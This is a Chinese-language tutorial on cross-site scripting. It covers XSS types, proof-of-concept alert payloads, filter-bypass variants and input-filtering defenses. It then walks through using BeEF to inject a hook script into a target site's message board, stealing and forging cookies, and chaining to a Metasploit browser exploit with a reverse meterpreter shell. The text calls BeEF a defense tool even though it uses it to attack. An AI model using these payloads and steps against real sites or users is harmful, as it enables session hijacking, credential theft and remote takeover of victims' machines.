主要基于JS脚本进行恶意攻击行为
一、XSS的危害
XSS利用JS代码实现攻击,有很多种攻击方法,一下简单列出多种
- 盗取各种用户账号
- 盗取用户Cookie资料,冒充用户身份进入网站
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
二、XSS漏洞的验证方法
我们可以用一段简单的代码来验证和检查漏洞的存在,这样的代码叫POC(Proof of Concept)
- POC:漏洞的验证与检测
- EXP:漏洞的完整利用工具
- shellcode:利用漏洞时,所执行的代码
- payload:攻击载荷
验证XSS漏洞存在的POC如下:
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>
三、XSS漏洞分类
反射型XSS、存储型XSS、DOM型XSS
3.1、反射型XSS
反射型XSS是非持久的、参数性跨站脚本。反射性XSS的JS代码存在Web应用的参数(变脸)中,如:搜索框的反射型XSS。
3.2、存储型XSS
存储型XSS是持久性跨站脚本。体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。
存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。
3.3、DOM型XSS
DOM型XSS比较特殊。OWASP关于DOM型XSS的定义是基于DOM的XSS攻击,其中攻击的payload由于修饰受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这就是DOM型XSS难以检测的原因。
四、绕过XSS过滤器检测的方法
大小写转换、引号的使用、[\]代替空格
4.1、大小写转换
<Img sRc='#' Onerror="alert(/sxx/)" />
<a hREf="javaScript:alert(/xss)">click me</a>
4.2、引号的使用
HTML语言中对引号的使用不敏感,但是某些过滤函数是锱铢必较。
<img src="#" οnerrοr="alert(/xss/)"/>
<img src='#' οnerrοr='alert(/xss/)'/>
<img src=# οnerrοr=alert(/xss/)/>
4.3、[\]代替空格
可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)'/>
五、XSS防御XSS Filter
XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而到达防范XSS攻击的效果。
5.1、防御方法
5.1.1、输入过滤
简单的说,输入验证就是对用户提交的信息进行有效验证,仅接收指定长度范围内的,采用适当格式内容提交,组织或忽略除此之外的其他任何数据。
- 输入是否仅包含合法字符
- 输入字符串是否超过最大长度限制
- 输入如果为数字,数字是否在指定范围内
- 输入是否符合特殊的格式要求,如E-mail地址、IP地址等
5.1.2、输出编码
HTML编码主要是使用对应的HTML标签代替字符
5.1.3、黑白名单
不管是采用输入过滤还是输出编码,都是针对数据信息进行黑、白名单式的过滤。
黑名单:非允许的数据
白名单:允许的数据
5.1.4、防御DOM-XSS
避免客户端文档重写、重定向或其他敏感操作。
5.2、防御工具beef(kali)
5.2.1、浏览器劫持
beef是一款XSS神器,是XSS的漏洞利用平台
beef工具目录:/usr/share/beef-xss
beef配置文件: /usr/share/beef-xss/config.yaml(注意,修改配置文件前要备份)
启动命令:(首先定位到/usr/share/beef-xss目录)./beef-xss或./beef
修改默认用户名和密码:(修改配置文件config.yaml)
credentials:
user: "beef"
password: "beef"
将密码改掉,比如改成:123456
beef的web界面管理控制台:(config.yaml配置文件中):
Web UI:http://127.0.0.1:3000/ui/panel
Hook(探针ShellCode): http://127.0.0.1:3000/hook.js
测试地址:http://127.0.0.1:3000/demos/butcher/index.html
完成了浏览器的劫持
探针的使用方法,只需要在要攻击的网站插入探针脚本即可:<script src=" http://127.0.0.1:3000/hook.js "></script>留言内容
5.2.2、Cookie窃取与欺骗
- 登陆beef后台,劫持浏览器之后,在command中找到GetCookie获取cookies值,完成了Cookie窃取(窃取内容--data:cookie=username=admin; userid=1)
- document.cookie="username=admin";
document.cookie="userid=1";
将以上内容写入浏览器(火狐浏览器web开发者工具中的cookie窗口)完成了Cookie欺骗
5.2.3、利用浏览器漏洞getshell
在完成浏览器劫持之后(被攻击客户端需要在beef后台上线)
命令(永恒之蓝):msfconsole
执行(xp的ie漏洞):use exploit/windows/browser/ms10_002_aurora
执行:set payload windows/meterpreter/reverse_tcp
执行(本机kali地址):set SRVHOST 10.211.55.8
执行(本机kali地址):set LHOST 10.211.55.8
执行:exploit
使用beef后台的Commands窗口中的Redirect Browser功能访问从永恒之蓝生成的地址(地址见上方截图)
浏览器将跳转,此时回到kali中看到已经和客户单建立了会话:
查看session列表
执行:sessions -i
进入第1条会话(根据情况选择)
执行:sessions -i 1
查看所有进程:
执行:ps
查看当前进程
执行:getpid
查看当前用户
执行:getuid
此时已经获得了当前主机的shell(可以使用命令shell查看,exit退出),切换到explorer.exe进程(结合刚才ps得到的所有进程,得知1420是explorer.exe进程)
执行:migrate 1420
可能会切换失败,这时候使用exit命令退出,再重新使用exploit命令来一次之前的步骤
六、XSS盲打平台
网址:http://xsspt.com